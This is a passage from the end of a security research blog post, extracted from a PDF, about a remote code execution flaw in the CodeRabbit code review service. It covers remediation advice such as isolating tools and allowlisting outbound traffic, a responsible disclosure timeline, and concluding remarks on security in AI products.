execute our code because it wouldn’t understand


that this was actually running on their production
system.

CodeRabbit’s code review of the ex�ltration PoC PR

Remediation
CodeRabbit supports running dozens of external
tools. These tools may get updates and new tools
may be supported. Both cases may open the door
to new ways of running arbitrary code. Therefore,
trying to prevent arbitrary code execution through
these tools sounds like an impossible task.

Instead, it would be best to assume that the user


may be able to run untrusted code through these
tools. So, running them in an isolated
environment, with only the minimum information
required to run the tools themselves, and not
passing them any environment variables would be
much better. Even if arbitrary code execution
would be possible, the impact would be much less

29 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

severe.

For defense in depth, one should add a


mechanism that prevents sending private
information to an attacker-controlled server. For
example, only allow outgoing tra�c to whitelisted
hosts, if possible. If the tool doesn’t require
internet access, then all network tra�c may even
be disabled in that isolated environment. This way
it would make it harder for an attacker to ex�ltrate
secrets.

Responsible disclosure
After responsibly disclosing this critical
vulnerability to the CodeRabbit team, we learned
from them that they had an isolation mechanism
in place, but Rubocop somehow was not running
inside it. The CodeRabbit team was extremely
responsive and acknowledged receipt of the
disclosure the same day. They immediately
disabled Rubocop and rotated the secrets and
started working on a �x. The next week they told
us that the vulnerability had been �xed. Kudos to
the CodeRabbit team for responding promptly and
�xing the issue.

Here is a summary of the disclosure timeline:

• January 24, 2025:


• Disclose vulnerability to CodeRabbit
• CodeRabbit acknowledges vulnerability

30 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

and con�rms they are working on a �x


• January 30, 2025:
• CodeRabbit con�rms �x

Conclusions
In the end, we only provided PoCs and didn’t take
things further. A patient attacker could have
enumerated the available access, identi�ed the
highest value targets, and then attacked those
targets to distribute malware to countless others
in a larger supply chain attack. Security is hard,
and a variety of factors can come together to
create security issues. Being quick to respond and
remediate, as the CodeRabbit team was, is a
critical part of addressing vulnerabilities in
modern, fast-moving environments. Other vendors
we contacted never responded at all, and their
products are still vulnerable.

In the race to bring AI-powered products to


market, many companies prioritize speed over
security. While rapid innovation is exciting,
overlooking security can have catastrophic
consequences, as we’ve seen. The solution isn’t to
stop but to build security into the development
process from day one. By making security a core
priority, AI companies can create products that are
not only groundbreaking but also resilient and
responsible. After all, true innovation isn’t just
about moving fast. It’s about building something

31 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

resilient and safe for users.

AI CODERABBIT CODING DEVELOPMENT GENERATIVE AI

LLM PRODUCTIVITY SECURITY VULNERABILITY

« Hack To The Future


Slides And Content

LEAVE A REPLY

Blog at WordPress.com.

32 of 32 8/19/25, 22:48

You might also like